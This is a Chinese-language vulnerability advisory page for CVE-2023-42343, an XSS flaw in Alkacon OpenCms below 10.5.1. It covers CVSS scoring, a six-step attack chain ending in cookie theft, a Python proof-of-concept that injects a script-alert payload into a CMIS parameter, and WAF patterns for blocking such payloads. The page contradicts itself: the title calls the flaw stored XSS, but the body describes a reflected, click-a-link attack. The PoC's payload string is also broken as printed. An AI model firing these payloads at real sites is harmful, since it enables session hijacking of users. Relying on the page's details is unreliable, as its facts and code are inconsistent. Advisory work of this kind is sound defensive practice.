IPBUF安全漏洞报告
English
CVE-2023-42343 CVSS 6.1 中危

CVE-2023-42343 Alkacon OpenCms 存储型XSS漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2023-42343
漏洞类型
XSS (跨站脚本)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Alkacon OpenCms

相关标签

XSSCross Site ScriptingAlkacon OpenCmsCVE-2023-42343Web SecurityClient-side Injection

漏洞概述

Alkacon OpenCms 是一款广泛使用的开源企业级内容管理系统(CMS)。在 10.5.1 版本之前,该系统被发现存在一处跨站脚本(XSS)安全漏洞。该漏洞位于 `cmis-online/type` 接口处,由于系统未对用户提交的输入数据进行有效的过滤和转义,导致攻击者能够注入恶意脚本代码。尽管利用该漏洞需要用户交互(如点击恶意链接),但攻击者无需身份验证即可发起攻击。一旦受害者触发了漏洞,恶意脚本将在其浏览器环境中运行,攻击者借此可窃取敏感的 Cookie 信息、会话令牌,甚至重定向用户访问钓鱼网站,对用户的数据安全和隐私构成严重威胁。管理员应高度重视并及时修复。

技术细节

该漏洞的根本原因在于 Alkacon OpenCms 处理 CMIS(内容管理互操作性服务)在线请求时的参数校验缺失。具体来说,`cmis-online/type` 参数接收用户输入后,直接将其嵌入到服务器返回的 HTML 响应中,而未经过 HTML 实体编码。这允许攻击者构造包含恶意 JavaScript 的 URL,例如将 `type` 参数值设置为 `<script>alert('XSS')</script>`。根据 CVSS 向量分析,攻击网络复杂度低(AC:L),无需权限(PR:N),但需要用户交互(UI:R),因此通常结合社会工程学手段(如钓鱼邮件)诱导受害者点击。由于作用域为 S:C(Scope Changed),这可能影响浏览器的同源策略机制。成功利用后,攻击者可以在受害者浏览器的上下文中执行任意代码,进而劫持用户会话、篡改网页内容或进行进一步的客户端攻击。

攻击链分析

STEP 1
侦察
攻击者识别出目标使用的是 Alkacon OpenCms 且版本低于 10.5.1。
STEP 2
武器化
攻击者构造包含恶意 JavaScript 代码的 URL,利用 `cmis-online/type` 参数的过滤缺陷。
STEP 3
投递
通过钓鱼邮件或即时通讯工具,将恶意链接发送给目标用户。
STEP 4
利用
受害者点击链接,浏览器向服务器发送请求。
STEP 5
执行
服务器响应中包含未过滤的恶意脚本,受害者浏览器解析并执行该脚本。
STEP 6
达成目标
脚本窃取受害者的 Session Cookie 或执行其他恶意操作,发送给攻击者控制的远程服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Proof of Concept for CVE-2023-42343 # Target: Alkacon OpenCms < 10.5.1 # Description: XSS via cmis-online/type parameter def check_xss(target_base_url): # The vulnerable endpoint url = f"{target_base_url}/opencms/system/workplace/commons/cmis-online/index.jsp" # Payload attempting to execute JavaScript payload = { "type": ""><script>alert(1)</script>" } try: response = requests.get(url, params=payload, timeout=10) # Check if the payload is reflected in the response without proper encoding if "<script>alert(1)</script>" in response.text: print("[+] Vulnerability Found: XSS payload is reflected in the response.") print(f"[+] Target URL: {response.url}") else: print("[-] Vulnerability not found or payload encoded.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:8080" check_xss(target)

影响范围

Alkacon OpenCms < 10.5.1

防御指南

临时缓解措施
在无法立即升级的情况下,建议通过 Web 应用防火墙(WAF)拦截针对 `/cmis-online/` 路径的异常请求,特别是包含 `<script>`, `javascript:`, `onerror=` 等特征的参数值。同时,限制对该管理接口的外部访问也是一种有效的临时缓解手段。

参考链接